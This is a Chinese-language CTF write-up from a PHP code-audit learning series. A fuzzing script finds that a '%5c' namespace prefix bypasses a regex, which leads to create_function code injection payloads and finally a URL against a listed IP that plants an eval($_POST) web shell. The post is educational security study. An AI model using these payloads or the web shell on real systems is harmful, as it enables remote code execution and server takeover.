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        <p>本篇属于我的代码审计学习系列</p>
<h1 id="function"><a href="#function" class="headerlink" title="function"></a>function</h1><p>题目代码：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$action = $_GET[<span class="string">'action'</span>] ?? <span class="string">''</span>;</span><br><span class="line">$arg = $_GET[<span class="string">'arg'</span>] ?? <span class="string">''</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(preg_match(<span class="string">'/^[a-z0-9_]*$/isD'</span>, $action)) &#123;</span><br><span class="line">    show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    $action(<span class="string">''</span>, $arg);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="bypass正则"><a href="#bypass正则" class="headerlink" title="bypass正则"></a>bypass正则</h2><p>题目中提供了两个可控的参数，但是我们需要绕过正则的限制，如何bypass正则我们可以进行字符fuzz测试</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-4ae16977d2eb3f5f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line"><span class="keyword">for</span> <span class="selector-tag">i</span> <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">256</span>):</span><br><span class="line">  j = hex(i)[<span class="number">2</span>:]</span><br><span class="line">  payload = <span class="string">"%"</span>+j</span><br><span class="line">  #print(payload)</span><br><span class="line">  url = <span class="string">"http://127.0.0.1/demo8.php?action="</span>+payload+<span class="string">"var_dump&amp;arg=yml"</span></span><br><span class="line">  <span class="selector-tag">html</span> = requests.get(url)</span><br><span class="line">  <span class="keyword">if</span> <span class="string">"yml"</span> <span class="keyword">in</span> <span class="selector-tag">html</span><span class="selector-class">.text</span>:</span><br><span class="line">    print(payload)</span><br></pre></td></tr></table></figure>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-eb9121b2b76fa442.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>可以看到%5c可以bypass正则</p>
<p>关于为何%5c可以bypass掉正则，出题人有如下解释:</p>
<blockquote>
<p>php里默认命名空间是\，所有原生函数和类都在这个命名空间中。普通调用一个函数，如果直接写函数名function_name()调用，调用的时候其实相当于写了一个相对路径；而如果写\function_name() 这样调用函数，则其实是写了一个绝对路径。<br>如果你在其他namespace里调用系统类，就必须写绝对路径这种写法。</p>
</blockquote>
<h2 id="getshell"><a href="#getshell" class="headerlink" title="getshell"></a>getshell</h2><p>绕过正则后，我们重点来看利用点的函数类型</p>
<p>函数需要两个参数，我们可以控制其中第二个参数进行getshell</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-4d90e135d9ee9212.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>这样通过寻找，最终确定了create_function()函数，我们看一下官方文档</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-c137fb33e8eb007c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>简单解释就是参数$args控制匿名函数的参数，$code控制匿名函数的代码</p>
<p>我们可以抽象出如下代码模式</p>
<figure class="highlight xquery"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">fuction a($args)</span><br><span class="line">&#123;</span><br><span class="line">	$code</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>不难联想到这样的模式可以通过代码注入的方式来getshell</p>
<p>然后回归题目，我们看到可控参数在第二个，也就是$code部分，抽象出来的模型是这样的</p>
<figure class="highlight xquery"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">fuction a()</span><br><span class="line">&#123;</span><br><span class="line">	$code</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>然后进行构造，我们可以尝试如下的方式来执行phpinfo()</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">a</span><span class="params">()</span></span>&#123;<span class="keyword">return</span> <span class="string">'121'</span>;&#125;phpinfo();<span class="comment">/*)</span></span><br><span class="line"><span class="comment">&#123;</span></span><br><span class="line"><span class="comment">&#125;</span></span><br><span class="line"><span class="comment">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>本地看一下测试结果</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-7f6cad87b37c92d3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>至此我们可以构造如下payload</p>
<figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">action</span>=%<span class="number">5</span>ccreate_function&amp;arg=return <span class="string">'121'</span>;&#125;phpinfo();/*)&#123;</span><br></pre></td></tr></table></figure>
<p>结果</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-a483c19b458e9ff0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h1 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h1><p>题目中的的可控参数为第二个，那么当可控参数为第一个的时候我们如何getshell呢？</p>
<p>题目代码改成这样</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-d2935ace079d9a59.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>构建利用原型</p>
<figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fuction</span> a(<span class="variable">$arg</span>)</span><br><span class="line">&#123;</span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>在这个时候，我们依然可以参考上面的利用方式，构造如下</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">a</span><span class="params">()</span></span>&#123;<span class="keyword">return</span> <span class="string">'yml'</span>;&#125;phpinfo();<span class="comment">/*)&#123;</span></span><br><span class="line"><span class="comment">&#125;</span></span><br><span class="line"><span class="comment">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>这个时候可构造如下payload</p>
<figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">action</span>=%<span class="number">5</span>ccreate_function&amp;arg=)&#123;return <span class="string">'yml'</span>;&#125;phpinfo();/*</span><br></pre></td></tr></table></figure>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-23fc39727c1336d8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>成功实现代码执行</p>
<h1 id="getflag"><a href="#getflag" class="headerlink" title="getflag"></a>getflag</h1><p>可以代码执行后我们就可以使用eval函数来利用了</p>
<pre><code>http://119.3.232.233:8087/?action=%5ccreate_function&amp;arg=return &apos;121&apos;;}eval($_POST[&apos;a&apos;]);/*){
</code></pre><p>工具连接</p>
<p><img src="https://upload-images.jianshu.io/upload_images/13385151-93069e3024251492.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="12.jpg"></p>

      
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